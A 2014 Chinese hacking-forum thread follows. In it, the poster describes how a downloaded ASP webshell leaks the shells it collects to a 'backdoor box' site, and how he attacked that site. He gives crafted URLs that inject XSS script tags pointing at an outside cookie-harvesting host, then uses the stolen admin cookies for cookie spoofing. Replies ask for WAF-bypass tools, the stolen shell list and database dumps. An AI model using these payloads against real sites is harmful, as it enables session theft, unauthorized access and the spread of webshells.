巧妙利用XSS日下Webshell后门箱子

C4r1st · 发表于 2014-5-4 17:12:46

这篇文章是我首发法客论坛的，今天有人要，我就在转回来

好久没有日站了，前几天刚刚换了一台电脑。用起来实在喜欢。
好了开始吧。
经常会发现自己没有带asp什么木马带。会百度一下，然后随便下载一个用一下。

Mumaasp.com
我随便下载了一个，才知道这个是一个大箱子。
各种淫荡带想法开始了。
下载一个木马。在本地架设。网址嗅探看下都是什么东西。

[AppleScript] 纯文本查看 复制代码

http://www.mumaasp.com/xz/sx.asp?u=localhost/mumaasp.asp&p=mumaasp.com

这个localhost/mumaasp.asp不是我带木马连接吗？
mumaasp.com不是木马的密码嘛。
一下子，我大概知道了。
我们构造一下，在密码部分插入xss

[AppleScript] 纯文本查看 复制代码

http://www.mumaasp.com/xz/sx.asp?u=localhost/mumaasp.asp&p=mumaasp.com<script src="http://ciare.sinaapp.com/?u=3352cb"></script>

在浏览器直接回车打开，构造进去。

纳尼，死狗。不怕，我有打狗棒法。

又出现这个问题。字段太小而不能接受所要添加的数据的数量。试着插入或粘贴较少的数据。
那我们缩短下xss代码试试

[AppleScript] 纯文本查看 复制代码

http://www.mumaasp.com/xz/sx.asp?u=localhost/mumaasp.asp&p=mm<script src="http://x.co/15Flj"></script>

显示的是白色页面。难道差进去了嘛？耐心等一下。
到下午。没过多久。邮箱就开始提示来快递了。

上cookie欺骗

仅供参考~~

Diana · 发表于 2014-5-4 17:30:19

本帖为密码帖，请输入密码

U神V5 · 发表于 2014-5-4 19:28:17

你是说他接受shell的是后台？而不是单个允许访问的页面？

神仙 · 发表于 2014-5-4 19:46:17

按照国际惯例箱子是要发出来的不然会被轮的

Mapleleaves · 发表于 2014-5-4 22:40:43

这个方法好，我也去试试

zyc2483 · 发表于 2014-5-4 23:38:17

求过狗神器

LostSoul · 发表于 2014-5-5 06:19:20

求裤子啊

C4r1st · 发表于 2014-5-5 09:48:45

U神V5 发表于 2014-5-4 19:28
你是说他接受shell的是后台？而不是单个允许访问的页面？

接受shell的是一个页面，但是访问箱子的是一个后台

博丽灵梦 · 发表于 2014-5-5 17:26:42

感谢分享

2863482451 · 发表于 2014-5-6 13:32:57

老狗到是好弄，那新狗怎么搞？